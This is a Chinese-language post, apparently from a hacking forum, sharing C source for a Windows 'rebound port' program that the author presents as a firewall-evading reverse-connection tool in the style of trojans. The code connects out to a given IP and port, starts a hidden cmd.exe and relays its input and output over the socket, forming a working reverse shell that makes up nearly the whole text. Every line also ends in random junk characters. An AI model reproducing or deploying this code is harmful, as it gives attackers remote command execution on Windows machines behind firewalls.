这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2`/p V0
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/* ============================== 7;:Uv=
Rebound port in Windows NT :j#Fq
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By wind,2006/7 D~<0CQ3n.
===============================*/ ZNbb8v
#include =dI2j@}c
#include *[['X%f
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#pragma comment(lib,"wsock32.lib") lMBXD?,,J
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void OutputShell(); uzUZuJ
SOCKET sClient; Gl>_C@n0h
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8(A+"H(
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void main(int argc,char **argv) &ffd#2f`@
{ 4~/3MG
WSADATA stWsaData; 09u@-
int nRet; 5S?+03h~
SOCKADDR_IN stSaiClient,stSaiServer; U
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if(argc != 3) J'>i3eLq
{ ep2#a#&'
printf("Useage:\n\rRebound DestIP DestPort\n"); ]p2M!N,?
return; A5> ,e|
} =m?x|Zc_v
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WSAStartup(MAKEWORD(2,2),&stWsaData); WwM/M!98J
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fgSe]q//
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stSaiClient.sin_family = AF_INET; u`vOKajpH$
stSaiClient.sin_port = htons(0); #{kwl|c
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3o=K?eOdg
{ AG$S;)Yl9c
printf("Bind Socket Failed!\n"); ^l4=/=RR
return; o4"7i 9+g
} KGsH3{r
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stSaiServer.sin_family = AF_INET; 5xawa:K
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v}$KlT
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T.sib&R
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D^knN-nZ*
{ iwl\&uNQU
printf("Connect Error!"); =hO0@w
return; B9RB/vHH
} :!h1S`wS
OutputShell(); (gv1f
} ;oQ*gd
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void OutputShell() 0P<bS?e<l
{ '@ym-\,
char szBuff[1024]; w7?&eF(w(
SECURITY_ATTRIBUTES stSecurityAttributes; &ESE?{of)
OSVERSIONINFO stOsversionInfo; SG{> t*E
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;L5'3+U
STARTUPINFO stStartupInfo; n'yC- ;
char *szShell; SJRiMR_F~
PROCESS_INFORMATION stProcessInformation; f<V#Yc(U}
unsigned long lBytesRead; :1eJc2o
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WdGjvs
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q89#Ftkt
stSecurityAttributes.lpSecurityDescriptor = 0; ztNm,1pnQ
stSecurityAttributes.bInheritHandle = TRUE; `43`*=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ][|)qQ%V
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 06 kjJ4
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G] -$fz
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .`OyC'
stStartupInfo.wShowWindow = SW_HIDE; b{C3r3B8
stStartupInfo.hStdInput = hReadPipe; 5JE8/CbH
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R$<LEwjSw
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GetVersionEx(&stOsversionInfo); #HD$=ECcw
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switch(stOsversionInfo.dwPlatformId) sglYT!O
{ ;IC :]Zu
case 1: H B+\2jEE
szShell = "command.com"; +)C?v&N
break; QfuKpcT&
default: d~](S<k
szShell = "cmd.exe"; ^FJ=/ #@T
break; ;&Q8xC2
} }xx[=t=nUf
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {%$eq{~m
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send(sClient,szMsg,77,0); FqOV/B
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while(1) Y|t] bb
{ bJJB*$jW=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m L#-U)?F
if(lBytesRead) !@9Vq6
{ d&:ABI
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~VZ)LQ'7
send(sClient,szBuff,lBytesRead,0); p$XL|1G*?H
} 7(;M
else _L mDF8Q(
{ X6jW mo8]
lBytesRead=recv(sClient,szBuff,1024,0); .]+oE$,!
if(lBytesRead<=0) break; Y%v?ROql
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `)`J
} zkXG%I4h
} opQ%!["N
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return; :yN;_bC!b%
}